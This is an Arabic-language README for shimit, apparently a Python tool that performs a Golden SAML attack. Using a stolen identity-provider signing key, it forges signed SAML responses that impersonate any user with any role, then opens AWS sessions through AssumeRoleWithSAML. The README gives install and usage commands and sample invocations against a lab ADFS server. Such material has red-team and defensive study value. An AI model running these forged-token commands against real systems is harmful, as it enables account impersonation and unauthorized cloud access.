
أداة تنفذ هجوم Golden SAML
shimit هي أداة بايثون تقوم بتنفيذ هجوم Golden SAML. يمكن العثور على مزيد من المعلومات حول ذلك في المقال التالي على مدونتنا.
python .\shimit.py -h
usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]
[--SessionValidity SESSION_VALIDITY] [--SamlValidity SAML_VALIDITY] -n SESSION_NAME
-r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]
██╗ ███████╗██╗ ██╗██╗███╗ ███╗██╗████████╗ ██╗ ██╗
██╔╝ ██╔════╝██║ ██║██║████╗ ████║██║╚══██╔══╝ ██╔╝ ╚██╗
██╔╝ ███████╗███████║██║██╔████╔██║██║ ██║ ██╔╝ ╚██╗
╚██╗ ╚════██║██╔══██║██║██║╚██╔╝██║██║ ██║ ██╔╝ ██╔╝
╚██╗ ███████║██║ ██║██║██║ ╚═╝ ██║██║ ██║ ██╔╝ ██╔╝
╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝
في هجوم Golden SAML، يمكن للمهاجمين الوصول إلى تطبيق (أي تطبيق يدعم مصادقة SAML) بأي صلاحيات يرغبون فيها ويكونون أي مستخدم في التطبيق المستهدف.
shimit تتيح للمستخدم إنشاء كائن SAMLResponse موقّع، واستخدامه لفتح جلسة في مزود الخدمة. shimit تدعم حالياً وحدة تحكم AWS كمزود خدمة، والمزيد قيد التطوير...
بعد إنشاء وتوقيع assertion الخاصة بـ SAMLResponse، ستقوم shimit باستدعاء واجهة برمجة التطبيقات AssumeRoleWithSAML() في AWS. بعد ذلك، سيتم تطبيق رمز الجلسة والمفتاح على جلسة جديدة، حيث يمكن للمستخدم استخدام واجهة سطر أوامر AWS لتنفيذ إجراءات باستخدام الصلاحيات التي تم الحصول عليها عبر golden SAML.
لتثبيت الوحدات المطلوبة، قم بتشغيل الأمر التالي:
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
يجب تثبيتها لاستخدام بيانات الاعتماد التي تم الحصول عليها. يمكن تنزيلها لنظام ويندوز أو لينكس من هذه الروابط.
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012
idp - عنوان URL لمزود الهوية، على سبيل المثال http://server.domain.com/adfs/services/trust
pk - المسار الكامل لملف المفتاح الخاص (تنسيق pem)
c - المسار الكامل لملف الشهادة (تنسيق pem)
u - اسم المستخدم والمجال، على سبيل المثال domain\username (استخدم \ أو علامات الاقتباس في *nix)
n - اسم الجلسة في AWS
r - الأدوار المطلوبة في AWS. يدعم أدواراً متعددة، سيتم افتراض أول دور محدد.
id - معرف حساب AWS، على سبيل المثال 123456789012
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
o - إخراج SAMLResponse المشفر إلى مسار ملف محدد
python .\shimit.py -l saml_response.xml
l - تحميل SAMLResponse من مسار ملف محدد
shimit تدعم AWS كمزود خدمة حالياً، كدليل على المفهوم. نحن نشجعك بشدة على المساهمة بوحدات جديدة لمزودي خدمة آخرين.